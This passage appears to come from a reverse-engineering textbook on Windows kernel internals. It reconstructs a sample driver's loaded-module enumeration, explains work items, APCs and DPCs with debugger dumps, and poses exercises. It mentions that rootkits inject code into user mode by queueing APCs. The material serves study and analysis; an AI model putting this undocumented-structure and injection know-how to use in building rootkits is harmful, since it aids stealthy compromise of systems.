member in this structure is of type LIST_ENTRY. This makes sense because we 

previously deduced that at offset 0 is the “next” pointer (Flink to be precise).

N O T E  The structure KLDR_DATA_TABLE_ENTRY is undocumented, but it is very 

similar to LDR_DATA_TABLE_ENTRY, which is in the public symbols. On Windows XP, 

the FullDllName and BaseDllName fi elds are at the same off set (0x24 and 0x2c).

Assuming that the information from the Internet is correct, these two func-

tions can be summarized as follows:

 ■ sub_11553 reads the KdVersionBlock pointer from the processor control 

block and retrieves the pointer to PsLoadedModuleList from there; it saves 

this pointer to the global variable. PsLoadedModuleList is the head of a 

list whose list entries are of type KLDR_DATA_TABLE_ENTRY. This function 

will be given the friendly name GetLoadedModuleList.

 ■ sub_115DA uses the list head pointer to iterate over all entries searching 

for a module name with the substring "krnl". The code searches for the 

substring "krnl" because the author is looking for the NT kernel image 

name (usually “ntoskrnl.exe”). This function will be given the friendly 

name GetKernelName.

You can briefl y translate them back to C: 

typedef struct _KLDR_DATA_TABLE_ENTRY {

    LIST_ENTRY ListEntry;

    ...

    UNICODE_STRING FullDllName;

    UNICODE_STRING BaseDllName;

    ...

} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

BOOL GetLoadedModuleList(PDRIVER_OBJECT drvobj, PLIST_ENTRY g_modlist)

{

    ...

    g_modlist = (PCR->KdVersionBlock) + 0x70

    ...

}

BOOL GetKernelName()

{

    WCHAR fname[...];

    PKLDR_DATA_TABLE_ENTRY entry;

    PLIST_ENTRY p = g_modlist->Flink;

    while (p != g_modlist)

    {
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       entry = CONTAINING_RECORD(p, KLDR_DATA_TABLE_ENTRY, ListEntry);

       ...

       wcsncpy(fname, entry->FullDllName.Buffer, entry->FullDllName

.Length * 2);

       ...

       if (wcsstr(fname, L"krnl") != NULL) { ... }

       p = p->Flink;

    }

    ...

}

While this driver may seem to work on a specifi c version of Windows, there 

are several problems with it. First, it assumes that the PCR is always located 

at 0xFFDFF000 and that the KdVersionBlock is always at offset 0x34; these 

assumptions do not hold for Windows Vista+. Second, the driver assumes that 

KdVersionBlock always contains a valid value; this is untrue because the value 

is valid only for the fi rst processor’s PCR. Hence, if this code were executed on 

a multi-processor system and the thread happened to be scheduled on another 

processor, this code would crash. Third, it assumes that there is a UNICODE_STRING 

at offset 0x24 in the KLDR_DATA_TABLE_ENTRY structure (which is undocumented 

itself); this may not always be true because Microsoft may add or remove fi elds 

from the structure defi nition, causing the offset to change. Fourth, this code will 

certainly fail on an x64 kernel because the offsets are all different. Finally, the 

loaded module list may change (i.e., drivers being unloaded) while the driver is 

iterating the list; hence, it may receive stale results or lead to an access violation 

as a result of accessing a module that is no longer there. Also note that the driver 

does not use any kind of locking mechanism while iterating a global list. As you 

analyze more kernel-mode rootkits or third-party drivers, you will frequently 

encounter code written with these premature assumptions.

For this particular sample, you can tell that the developer just wants to get 

the kernel image name and base address. This could have been easily achieved 

using the documented kernel API   AuxKlibQueryModuleInformation. (See also 

the exercise on AuxKlibQueryModuleInformation.)

To conclude, we would like to briefl y discuss the thinking process in analyzing 

these two functions. How were we able to go from seemingly random values 

such as 0xFFDF034, 0x70, and 0x28 to PCR, KdVersionBlock, PsLoadedModuleList, 

KLDR_DATA_TABLE_ENTRY, and so on? The truth is that we already have previ-

ous kernel knowledge and experience analyzing kernel-mode drivers so we 

instinctively thought about these structures. For example, we started with a 

loop that processes each list entry looking for the substring "krnl"; we imme-

diately guessed that they are searching for the kernel image name. The string 

and length offsets (0x24 and 0x28) alerted us of a UNICODE_STRING; with our 

kernel knowledge, we guessed that this is the KLDR_DATA_TABLE_ENTRY structure 

and verifi ed that it is indeed the case using public symbols. Next, we know that 

PsLoadedModuleList is the global list head for the loaded module list. Because 
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PsLoadedModuleList is not an exported symbol, we know that the driver must 

retrieve this from another structure. Going backwards, we see the hardcoded 

memory address 0xFFDF034 and immediately think of the PCR. We verify this 

in the debugger:

0: kd> dt nt!_KPCR 0xffdff000
   +0x000 NtTib            : _NT_TIB
   +0x01c SelfPcr          : 0xffdff000 _KPCR
   +0x020 Prcb             : 0xffdff120 _KPRCB
   +0x024 Irql             : 0 ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffffffff
   +0x034 KdVersionBlock   : 0x8054d2b8 Void
…

From experience, we know that KdVersionBlock is a pointer to a large structure 

storing interesting information such as the kernel base address and list heads. 

At that point, we have all the information and data structures to understand 

the code.

As you can see, there is a systematic thinking process behind the analysis; 

however, it requires a substantial amount of background knowledge about the 

operating system, and experience. When you are fi rst starting, you may not 

have all the knowledge and intuition required to quickly understand kernel-

mode drivers. Have no fear! This book attempts to provide a strong foundation 

by explaining all the major kernel concepts and data structures. With a strong 

foundation and a lot of practice (see the exercises), you will eventually be able to 

do it with great ease. Remember: foundational knowledge + intuition + experi-

ence + patience = skills.

Exercises

 1. On Windows 8 x64, the following kernel functions have InitalizeListHead 

inlined at least once: 

 ■ CcAllocateInitializeMbcb

 ■ CmpInitCallbacks

 ■ ExCreateCallback

 ■ ExpInitSystemPhase0

 ■ ExpInitSystemPhase1

 ■ ExpTimerInitialization

 ■ InitBootProcessor

 ■ IoCreateDevice
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 ■ IoInitializeIrp

 ■ KeInitThread

 ■ KeInitializeMutex

 ■ KeInitializeProcess

 ■ KeInitializeTimerEx

 ■ KeInitializeTimerTable

 ■ KiInitializeProcessor

 ■ KiInitializeThread

 ■ MiInitializeLoadedModuleList

 ■ MiInitializePrefetchHead

 ■ PspAllocateProcess

 ■ PspAllocateThread

Identify where InitializeListHead is inlined in these routines.

 2. Repeat the previous exercise for InsertHeadList in the following routines:

 ■ CcSetVacbInFreeList

 ■ CmpDoSort

 ■ ExBurnMemory

 ■ ExFreePoolWithTag

 ■ IoPageRead

 ■ IovpCallDriver1

 ■ KeInitThread

 ■ KiInsertQueueApc

 ■ KeInsertQueueDpc

 ■ KiQueueReadyThread

 ■ MiInsertInSystemSpace

 ■ MiUpdateWsle

 ■ ObpInsertCallbackByAltitude

 3. Repeat the previous exercise for InsertTailList in the following routines:

 ■ AlpcpCreateClientPort

 ■ AlpcpCreateSection

 ■ AlpcpCreateView

 ■ AuthzBasepAddSecurityAttributeToLists

 ■ CcFlushCachePriv
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 ■ CcInitializeCacheManager

 ■ CcInsertVacbArray

 ■ CcSetFileSizesEx

 ■ CmRenameKey

 ■ ExAllocatePoolWithTag

 ■ ExFreePoolWithTag

 ■ ExQueueWorkItem

 ■ ExRegisterCallback

 ■ ExpSetTimer

 ■ IoSetIoCompletionEx2

 ■ KeInsertQueueDpc

 ■ KeStartThread

 ■ KiAddThreadToScbQueue

 ■ KiInsertQueueApc

 ■ KiQueueReadyThread

 ■ MiInsertNewProcess

 ■ PnpRequestDeviceAction

 ■ PspInsertProcess

 ■ PspInsertThread

 4. Repeat the previous exercise for RemoveHeadList in the following routines:

 ■ AlpcpFlushResourcesPort

 ■ CcDeleteMbcb

 ■ CcGetVacbMiss

 ■ CmpLazyCommitWorker

 ■ ExAllocatePoolWithTag

 ■ FsRtlNotifyCompleteIrpList

 ■ IopInitializeBootDrivers

 ■ KiProcessDisconnectList

 ■ PnpDeviceCompletionQueueGetCompletedRequest

 ■ RtlDestroyAtomTable

 ■ RtlEmptyAtomTable

 ■ RtlpFreeAllAtom
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 5. Repeat the previous exercise for RemoveTailList in the following routines:

 ■ BootApplicationPersistentDataProcess

 ■ CmpCallCallBacks

 ■ CmpDelayCloseWorker

 ■ ObpCallPostOperationCallbacks

 ■ RaspAddCacheEntry

 6. Repeat the previous exercise for RemoveEntryList in the following routines:

 ■ AlpcSectionDeleteProcedure

 ■ AlpcpDeletePort

 ■ AlpcpUnregisterCompletionListDatabase

 ■ AuthzBasepRemoveSecurityAttributeFromLists

 ■ CcDeleteBcbs

 ■ CcFindNextWorkQueueEntry

 ■ CcLazyWriteScan

 ■ CcSetFileSizesEx

 ■ CmShutdownSystem

 ■ CmUnRegisterCallback

 ■ CmpCallCallBacks

 ■ CmpPostApc

 ■ ExFreePoolWithTag

 ■ ExQueueWorkItem

 ■ ExTimerRundown

 ■ ExpDeleteTimer

 ■ ExpSetTimer

 ■ IoDeleteDevice

 ■ IoUnregisterFsRegistrationChange

 ■ IopfCompleteRequest

 ■ KeDeregisterBugCheckCallback

 ■ KeDeregisterObjectNotification

 ■ KeRegisterObjectNotification

 ■ KeRemoveQueueApc
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 ■ KeRemoveQueueDpc

 ■ KiCancelTimer

 ■ KeTerminateThread

 ■ KiDeliverApc

 ■ KiExecuteAllDpcs

 ■ KiExpireTimerTable

 ■ KiFindReadyThread

 ■ KiFlushQueueApc

 ■ KiInsertTimerTable

 ■ KiProcessExpiredTimerList

 ■ MiDeleteVirtualAddresses

 ■ NtNotifyChangeMultipleKeys

 ■ ObRegisterCallbacks

 ■ ObUnRegisterCallbacks

 7. Repeat the previous exercises on Windows 8 x86/ARM and Windows 7 

x86/x64. What were the differences (if any)?

 8. If you did the exercises for InsertHeadList , InsertTailList , 

RemoveHeadList, RemoveTailList, and RemoveEntryList on Windows 

8, you should have observed a code construct common to all these func-

tions. This construct should also enable you to easily spot the inlined list 

insertion and removal routines. Explain this code construct and why it is 

there. Hint: This construct exists only on Windows 8 and it requires you 

to look at the IDT.

 9. In the walk-through, we mentioned that a driver can enumerate all loaded 

modules with the documented API AuxKlibQueryModuleInformation. Does 

this API guarantee that the returned module list is always up-to-date? Explain 

your answer. Next, reverse engineer AuxKlibQueryModuleInformation on 

Windows 8 and explain how it works. How does it handle the case when 

multiple threads are requesting access to the loaded module list? Note: 

The internal function handling this request (and others) is fairly large, so 

you will need some patience. Alternatively, you can use a debugger to 

help you trace the interesting code.

 10. Explain how the following functions work: KeInsertQueueDpc , 

KiRetireDpcList, KiExecuteDpc, and KiExecuteAllDpcs. If you feel like 

an overachiever, decompile those functions from the x86 and x64 assem-

blies and explain the differences.
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Asynchronous and Ad-Hoc Execution

During the lifetime of a driver, it may create system threads, register callbacks 

for certain events, queue a function to be executed in the future, and so on. This 

section covers a variety of mechanisms a driver can use to achieve these forms 

of asynchronous and ad-hoc execution. The mechanisms covered include system 

threads, work items, APCs, DPCs, timers, and process and thread callbacks.

System Threads

A typical user-mode program may have multiple threads handling different 

requests. Similarly, a driver may create multiple threads to handle requests from 

the kernel or user. These threads can be created with the PsCreateSystemThread 

API:

NTSTATUS PsCreateSystemThread(
  _Out_      PHANDLE ThreadHandle,
  _In_       ULONG DesiredAccess,
  _In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,
  _In_opt_   HANDLE ProcessHandle,
  _Out_opt_  PCLIENT_ID ClientId,
  _In_       PKSTART_ROUTINE StartRoutine,
  _In_opt_   PVOID StartContext
);

If called with a NULL ProcessHandle parameter, this API will create a new 

thread in the System process and set its start routine to StartRoutine. The usage 

of system threads varies according to driver requirement. For example, the driver 

may decide to create a thread during initialization to handle subsequent I/O 

requests or wait on some events. One concrete example is the kernel creating a 

system thread to process DPCs (see also the KiStartDpcThread function).

Exercises

 1. After reading some online forums, you notice some people suggest-

ing that PsCreateSystemThread will create a thread in the context of 

the calling process. In other words, they are suggesting that if you call 

PsCreateSystemThread in an IOCTL handler, the new thread will be in 

the context of the requesting user-mode application. Assess the validity 

of this statement by writing a driver that calls PsCreateSystemThread in 

the IOCTL handler. Next, experiment with a non-NULL ProcessHandle 

and determine if the context differs.

 2. Cross-reference as many calls to PsCreateSystemThread as possible in 

the kernel image. Determine whether any of them pass a non-NULL 
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ProcessHandle parameter. Explain the purpose of these routines. Repeat 

the exercise for as many functions as possible.

Work Items

Work items are similar to system threads except that no physical thread objects 

are created for them. A work item is simply an object in a queue processed by a 

pool of system threads. Concretely speaking, a work item is a structure defi ned 

as follows:

0: kd> dt nt!_IO_WORKITEM
   +0x000 WorkItem         : _WORK_QUEUE_ITEM
   +0x020 Routine          : Ptr64     void
   +0x028 IoObject         : Ptr64 Void
   +0x030 Context          : Ptr64 Void
   +0x038 Type             : Uint4B
   +0x03c ActivityId       : _GUID
0: kd> dt nt!_WORK_QUEUE_ITEM
   +0x000 List             : _LIST_ENTRY
   +0x010 WorkerRoutine    : Ptr64     void
   +0x018 Parameter        : Ptr64 Void

Note that its WorkItem fi eld is actually a list entry containing the worker 

routine and parameter. This entry will eventually be inserted into a queue 

later. A driver calls the function IoAllocateWorkItem to get back a pointer to 

an IO_WORKITEM allocated in non-paged pool. Next, the driver initializes and 

queues the work item by calling IoQueueWorkItem:

PIO_WORKITEM IoAllocateWorkItem(
  _In_  PDEVICE_OBJECT DeviceObject
);

VOID IoQueueWorkItem(
  _In_      PIO_WORKITEM IoWorkItem,
  _In_      PIO_WORKITEM_ROUTINE WorkerRoutine,
  _In_      WORK_QUEUE_TYPE QueueType,
  _In_opt_  PVOID Context
);

The initialization part simply fi lls in the worker routine, parameter/context, 

and queue priority/type:

IO_WORKITEM_ROUTINE WorkItem;

VOID WorkItem(
  _In_      PDEVICE_OBJECT DeviceObject,
  _In_opt_  PVOID Context
)
{ ... }
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typedef enum _WORK_QUEUE_TYPE { 
  CriticalWorkQueue       = 0,
  DelayedWorkQueue        = 1,
  HyperCriticalWorkQueue  = 2,
  MaximumWorkQueue        = 3
} WORK_QUEUE_TYPE;

Where is it queued? As explained earlier, each processor has an associated 

KPRCB that contains a fi eld called ParentNode, which is a pointer to a KNODE 

structure; when the processor is initialized, this pointer points to an ENODE 

structure that holds the work items queue:

Work items queue

0: kd> dt nt!_KPRCB
...
   +0x5338 ParentNode       : Ptr64 _KNODE
0: kd> dt nt!_KNODE
   +0x000 DeepIdleSet      : Uint8B
   +0x040 ProximityId      : Uint4B
   +0x044 NodeNumber       : Uint2B
0: kd> dt nt!_ENODE
   +0x000 Ncb              : _KNODE
   +0x0c0 ExWorkerQueues   : [7] _EX_WORK_QUEUE
   +0x2f0 ExpThreadSetManagerEvent : _KEVENT
   +0x308 ExpWorkerThreadBalanceManagerPtr : Ptr64 _ETHREAD
   +0x310 ExpWorkerSeed    : Uint4B
   +0x314 ExWorkerFullInit : Pos 0, 1 Bit
   +0x314 ExWorkerStructInit : Pos 1, 1 Bit
   +0x314 ExWorkerFlags    : Uint4B
0: kd> dt nt!_EX_WORK_QUEUE
   +0x000 WorkerQueue      : _KQUEUE
   +0x040 WorkItemsProcessed : Uint4B
   +0x044 WorkItemsProcessedLastPass : Uint4B
   +0x048 ThreadCount      : Int4B
   +0x04c TryFailed        : UChar

ExQueueWorkItemEx

ExQueueWorkItemEx proc near
...
mov     rax, gs:20h
mov     r8, [rax+5338h]       ; enode
movzx   eax, word ptr [r8+44h]
mov     ecx, eax
lea     rax, [rax+rax*2]
shl     rax, 6
add     rax, rbp
...
mov     edx, r9d   ; queue type
mov     rcx, r11   ; workitem passed in
call    ExpQueueWorkItemNode
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What actually happens is that each processor has several queues to store 

the work items and there is a system thread dequeueing one item at a time for 

execution. This system thread responsible for dequeueing is ExpWorkerThread.

As previously explained, work items are lightweight because they do not 

require new thread objects to be created. They also have two important properties:

 ■ They are executed in the context of the System process. The reason is 

because the ExpWorkerThread runs in the System process.

 ■ They are executed at PASSIVE_LEVEL.

Due to their lightweight nature, it is a common driver programming pattern 

to queue work items inside a DPC.

Exercises

 1. Explain how we were able to determine that ExpWorkerThread is the sys-

tem thread responsible for dequeueing work items and executing them. 

Hint: The fastest way is to write a driver.

 2. Explore IoAllocateWorkItem, IoInitializeWorkItem, IoQueueWorkItem, 

IopQueueWorkItemProlog, and ExQueueWorkItem, and explain how they 

work.

 3. Work items and system threads (i.e., those created by PsCreateSystemThread) 

are mostly identical in terms of functionality, so explain why DPCs frequently 

queue work items to handle requests but never call PsCreateSystemThread.

 4. Write a driver to enumerate all work items on the system and explain the 

problems you had to overcome in the process.

Asynchronous Procedure Calls

Asynchronous procedure calls (APCs) are used to implement many important 

operations such as asynchronous I/O completion, thread suspension, and process 

shutdown. Unfortunately, they are undocumented from a kernel perspective. 

The offi cial driver development documentation simply includes a short section 

acknowledging that APCs exist and that there are different types. However, 

for common reverse engineering tasks, it is not necessary to understand all 

the underlying details. This section explains what APCs are and how they are 

commonly used.

APC Fundamentals 

Generally speaking, APCs are functions that execute in a particular thread context. 

They can be divided into two types: kernel-mode and user-mode. Kernel-mode 
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APCs can be either normal or special; normal ones execute at PASSIVE_LEVEL, 

whereas special ones execute at APC_LEVEL (both execute in kernel mode). User 

APCs execute at PASSIVE_LEVEL in user mode when the thread is in an alertable 

state. Because APCs run in thread context, they are always associated with an 

ETHREAD object.

Concretely speaking, an APC is defi ned by the KAPC structure:

1: kd> dt nt!_KAPC
   +0x000 Type             : UChar
   +0x001 SpareByte0       : UChar
   +0x002 Size             : UChar
   +0x003 SpareByte1       : UChar
   +0x004 SpareLong0       : Uint4B
   +0x008 Thread           : Ptr32 _KTHREAD
   +0x00c ApcListEntry     : _LIST_ENTRY
   +0x014 KernelRoutine    : Ptr32     void
   +0x018 RundownRoutine   : Ptr32     void
   +0x01c NormalRoutine    : Ptr32     void
   +0x014 Reserved         : [3] Ptr32 Void
   +0x020 NormalContext    : Ptr32 Void
   +0x024 SystemArgument1  : Ptr32 Void
   +0x028 SystemArgument2  : Ptr32 Void
   +0x02c ApcStateIndex    : Char
   +0x02d ApcMode          : Char
   +0x02e Inserted         : UChar

This structured is initialized by the KeInitializeApc API:

KeInitializeApc

NTKERNELAPI VOID KeInitializeApc(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
    );
    
NTKERNELAPI BOOLEAN KeInsertQueueApc(
    PRKAPC Apc,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
    );
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Callback prototypes

typedef VOID (*PKKERNEL_ROUTINE)(
    PKAPC Apc,
    PKNORMAL_ROUTINE *NormalRoutine,
    PVOID *NormalContext,
    PVOID *SystemArgument1,
    PVOID *SystemArgument2
    );

typedef VOID (*PKRUNDOWN_ROUTINE)(
    PKAPC Apc
    );
    
typedef VOID (*PKNORMAL_ROUTINE)(
    PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2
    );
    
typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;

N O T E  This defi nition is taken from http://forum.sysinternals.com/

howto-capture-kernel-stack-traces_topic19356.html. While we cannot 

guarantee its correctness, it has been known to work in experiments.

Apc is a caller-allocated buffer of type KAPC. In practice, it is usually allocated 

in non-paged pool by ExAllocatePool and freed in the kernel or normal routine. 

Thread is the thread to which this APC should be queued. Environment determines 

the environment in which the APC executes; for example, OriginalApcEnvironment 

means that the APC will run in the thread’s process context (if it does not 

attach to another process). KernelRoutine is a function that will be executed at 

APC_LEVEL in kernel mode; RundownRoutine is a function that will be executed 

when the thread is terminating; and NormalRoutine is a function that will be 

executed at PASSIVE_LEVEL in ProcessorMode. User-mode APCs are those that 

have a NormalRoutine and ProcessorMode set to UserMode. NormalContext is 

the parameter passed to the NormalRoutine.

Once initialized, an APC is queued with the KeInsertQueueApc API. Apc is the 

APC initialized by KeInitializeApc. SystemArgument1 and SystemArgument2 

are optional arguments that can be passed to kernel and normal routines. 

Increment is the number to increment the run-time priority; it is similar to the 

PriorityBoost parameter in IoCompleteRequest. Where is the APC queued? 

http://forum.sysinternals.com/howto-capture-kernel-stack-traces_topic19356.html
http://forum.sysinternals.com/howto-capture-kernel-stack-traces_topic19356.html
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Recall that APCs are always associated with a thread. The KTHREAD structure 

has two APC queues:

0: kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
…
   +0x090 TrapFrame        : Ptr64 _KTRAP_FRAME
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43] UChar
   +0x0c3 Priority         : Char
   +0x288 SchedulerApc     : _KAPC
…
   +0x2e0 SuspendEvent     : _KEVENT
0: kd> dt nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 KernelApcInProgress : UChar
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPending   : UChar

The ApcState fi eld contains an array of two queues, storing kernel-mode and 

user-mode APCs, respectively.

Implementing Thread Suspension with APCs

When a program wants to suspend a thread, the kernel queues a kernel APC 

to the thread. This suspension APC is the SchedulerApc fi eld in the KTHREAD 

structure; it is initialized in KeInitThread with KiSchedulerApc as the normal 

routine. KiSchedulerApc simply holds on the thread’s SuspendEvent. When 

the program wants to resume the thread, KeResumeThread releases this event.

Unless you are reverse engineering the Windows kernel or kernel-mode 

rootkits, it is unlikely that you will run into code using APCs. This is primarily 

because they are undocumented and hence not commonly used in commercial 

drivers. However, APCs are frequently used in rootkits because they offer a 

clean way to inject code into user mode from kernel mode. Rootkits achieve 

this by queueing a user-mode APC to a thread in the process in which they 

want to inject code.

Exercises

 1. Write a driver using both kernel-mode and user-mode APCs.

 2. Write a driver that enumerates all user-mode and kernel-mode APCs for 

all threads in a process. Hint: You need to take into consideration IRQL 

level when performing the enumeration.
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 3. The kernel function KeSuspendThread is responsible for suspending a 

thread. Earlier you learned that APCs are involved in thread suspension 

in Windows 8. Explain how this function works and how APCs are used 

to implement the functionality on Windows 7. What is different from 

Windows 8?

 4. APCs are also used in process shutdown. The KTHREAD object has a fl ag 

called ApcQueueable that determines whether an APC may be queued to it. 

What happens when you disable APC queueing for a thread? Experiment 

with this by starting up notepad.exe and then manually disable APC 

queueing to one of its threads (use the kernel debugger to do this).

 5. Explain what the following functions do:

 ■ KiInsertQueueApc

 ■ PsExitSpecialApc

 ■ PspExitApcRundown

 ■ PspExitNormalApc

 ■ PspQueueApcSpecialApc

 ■ KiDeliverApc

 6. Explain how the function KeEnumerateQueueApc works and then recover 

its prototype. Note: This function is available only on Windows 8.

 7. Explain how the kernel dispatches APCs. Write a driver that uses the dif-

ferent kinds of APCs and view the stack when they are executed. Note: 

We used the same method to fi gure out how the kernel dispatches work 

items.

Deferred Procedure Calls

Deferred procedure calls (DPCs) are routines executed at DISPATCH_LEVEL in 

arbitrary thread context on a particular processor. Hardware drivers use them 

to process interrupts coming from the device. A typical usage pattern is for the 

interrupt service routine (ISR) to queue a DPC, which in turn queues a work 

item to do the processing.

Hardware drivers do this because the ISR usually runs at high IRQLs (above 

DISPATCH_LEVEL) and if it takes too long, it could reduce the system’s overall 

performance. Hence, the ISR typically queues a DPC and immediately returns 

so that the system can process other interrupts. Software drivers can use DPCs 

to quickly execute short tasks. 

Internally, a DPC is defi ned by the KDPC structure:

0: kd> dt nt!_KDPC
   +0x000 Type             : UChar
   +0x001 Importance       : UChar
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   +0x002 Number           : Uint2B
   +0x008 DpcListEntry     : _LIST_ENTRY
   +0x018 DeferredRoutine  : Ptr64     void
   +0x020 DeferredContext  : Ptr64 Void
   +0x028 SystemArgument1  : Ptr64 Void
   +0x030 SystemArgument2  : Ptr64 Void
   +0x038 DpcData          : Ptr64 Void

Each fi eld’s semantic is as follows:

 ■ Type—Object type. It indicates the kernel object type for this object (i.e., 

process, thread, timer, DPC, events, etc.). Recall that kernel objects are 

defi ned by the nt!_KOBJECTS enumeration. In this case, you are dealing 

with DPCs, for which there are two types: normal and threaded.

 ■ Importance—DPC importance. It determines where this DPC entry should 

be in the DPC queue. See also KeSetImportanceDpc.

 ■ Number—Processor number on which the DPC should be queued and 

executed. See also KeSetTargetProcessorDpc.

 ■ DpcListEntry—LIST_ENTRY for the DPC entry. Internally, the inser-

tion/removal of DPCs from the DPC queue operate on this fi eld. See 

KeInsertQueueDpc.

 ■ DeferredRoutine—The function associated with this DPC. It will be 

executed in arbitrary thread context and at DISPATCH_LEVEL. It is defi ned 

as follows:

KDEFERRED_ROUTINE CustomDpc;
VOID CustomDpc(
  _In_      struct _KDPC *Dpc,
  _In_opt_  PVOID DeferredContext,
  _In_opt_  PVOID SystemArgument1,
  _In_opt_  PVOID SystemArgument2
)
{ ... }

 ■ DeferredContext—Parameter to pass to the DPC function.

 ■ SystemArgument1—Custom data to store in the DPC.

 ■ SystemArgument2— Custom data to store in the DPC.

 ■ DpcData—A pointer to a KDPC_DATA structure:

0: kd> dt nt!_KDPC_DATA
   +0x000 DpcListHead      : _LIST_ENTRY
   +0x010 DpcLock          : Uint8B
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   +0x018 DpcQueueDepth    : Int4B
   +0x01c DpcCount         : Uint4B

As you can see, it keeps accounting information about DPCs. The data 

is stored in the DpcData fi eld of the KPRCB structure associated with the 

DPC. DpcListHead is the head entry in the DPC queue (it is set during 

KPRCB initialization) and DpcLock is the spinlock protecting this struc-

ture; each time a DPC is queued, the DpcCount and DpcQueueDepth are 

incremented by one. See also KeInsertQueueDpc.  It can be instructive to 

analyze KeInsertQueueDpc in assembly; pay attention to the KPRCB access 

and head/tail list insertion.

The DPC usage pattern in code is simple: Initialize the KDPC object with 

KeInitializeDpc and queue it with KeInsertQueueDpc. When the processor 

IRQL drops to DISPATCH_LEVEL, the kernel processes all DPCs in that queue.

As mentioned earlier, each CPU core keeps its own queue of DPCs. This queue 

is tracked by the per-core KPRCB structure:

0: kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   ...
   +0x2d80 DpcData          : [2] _KDPC_DATA
   +0x2dc0 DpcStack         : Ptr64 Void
   +0x2dc8 MaximumDpcQueueDepth : Int4B
   +0x2dcc DpcRequestRate   : Uint4B
   +0x2dd0 MinimumDpcRate   : Uint4B
   +0x2dd4 DpcLastCount     : Uint4B
   +0x2dd8 ThreadDpcEnable  : UChar
   +0x2dd9 QuantumEnd       : UChar
   +0x2dda DpcRoutineActive : UChar
0: kd> dt nt!_KDPC_DATA
   +0x000 DpcListHead      : _LIST_ENTRY
   +0x010 DpcLock          : Uint8B
   +0x018 DpcQueueDepth    : Int4B
   +0x01c DpcCount         : Uint4B

The two notable fi elds are DpcData and DpcStack. DpcData is an array of 

KDPC_DATA structures whereby each element tracks a DPC queue; the fi rst ele-

ment tracks normal DPCs and the second tracks threaded DPCs. The function 

KeInsertQueueDpc simply inserts the DPC into one of these two queues. The 

relationship can be illustrated as shown in Figure 3-7.
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KPRCB KDPC KDPC KDPC

Type Type Type

DpcData[0]

DpcData[1] DpcListEntry DpcListEntry DpcListEntry

DeferredRoutine DeferredRoutine DeferredRoutine

…

… … …

…… …

…

Figure 3-7

DpcStack is a pointer to a block of memory to be used as the DPC routine’s 

stack.

Windows has several mechanisms to process the DPC queue. The fi rst mecha-

nism is through KiIdleLoop. While “idling,” it checks the PRCB to determine 

if DPCs are waiting and if so to call KiRetireDpcList to process all DPCs. This 

is why sometimes these two functions appear on the stack while executing a 

DPC. For example:

0: kd> kn
 # Child-SP          RetAddr           Call Site
00 fffff800`00b9cc88 fffff800`028db5dc USBPORT!USBPORT_IsrDpc
01 fffff800`00b9cc90 fffff800`028d86fa nt!KiRetireDpcList+0x1bc
02 fffff800`00b9cd40 00000000`00000000 nt!KiIdleLoop+0x5a

The second mechanism occurs when the CPU is at DISPATCH_LEVEL. Consider 

the following stack:

0: kd> kn

# Child-SP          RetAddr           Call Site

00 fffff800`00ba2ef8 fffff800`028db5dc USBPORT!USBPORT_IsrDpc

01 fffff800`00ba2f00 fffff800`028d6065 nt!KiRetireDpcList+0x1bc

02 fffff800`00ba2fb0 fffff800`028d5e7c nt!KyRetireDpcList+0x5

03 fffff880`04ac67a0 fffff800`0291b793 nt!KiDispatchInterruptContinue

04 fffff880`04ac67d0 fffff800`028cbda2 nt!KiDpcInterruptBypass+0x13

05 fffff880`04ac67e0 fffff960`0002992c nt!KiInterruptDispatch+0x212

06 fffff880`04ac6978 fffff960`000363b3 win32k!vAlphaPerPixelOnly+0x7c

07 fffff880`04ac6980 fffff960`00035fa4 win32k!AlphaScanLineBlend+0x303

08 fffff880`04ac6a40 fffff960`001fd4f9 win32k!EngAlphaBlend+0x4f4

09 fffff880`04ac6cf0 fffff960`001fdbaa win32k!NtGdiUpdateTransform+0x112d

0a fffff880`04ac6db0 fffff960`001fdd19 win32k!NtGdiUpdateTransform+0x17de

0b fffff880`04ac6ed0 fffff960`001fded8 win32k!EngNineGrid+0xb1

0c fffff880`04ac6f70 fffff960`001fe395 win32k!EngDrawStream+0x1a0
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0d fffff880`04ac7020 fffff960`001fece7 win32k!NtGdiDrawStreamInternal+0x47d

0e fffff880`04ac70d0 fffff960`0021a480 win32k!GreDrawStream+0x917

0f fffff880`04ac72c0 fffff800`028cf153 win32k!NtGdiDrawStream+0x9c

10 fffff880`04ac7420 000007fe`fd762cda nt!KiSystemServiceCopyEnd+0x13

This long stack indicates that win32k.sys was handling some graphics operation 

request from the user, and then the USB port driver’s DPC routine—which has 

nothing to do with win32k—is executed. What probably happened is that while 

win32k.sys was handling the request, a device interrupt occurred that caused 

the CPU to operate at device IRQL; and then the IRQL is eventually lowered to 

DISPATCH_LEVEL, which causes the DPC queue to be processed.

The third mechanism is through a system thread created during processor 

initialization. KiStartDpcThread creates a thread (KiExecuteDpc) for each pro-

cessor, which processes the DPC queue whenever it runs. For example:

0: kd> kn
 # Child-SP          RetAddr           Call Site
00 fffff880`03116be8 fffff800`028aadb0 nt!KiDpcWatchdog
01 fffff880`03116bf0 fffff800`028aac4b nt!KiExecuteAllDpcs+0x148
02 fffff880`03116cb0 fffff800`02b73166 nt!KiExecuteDpc+0xcb
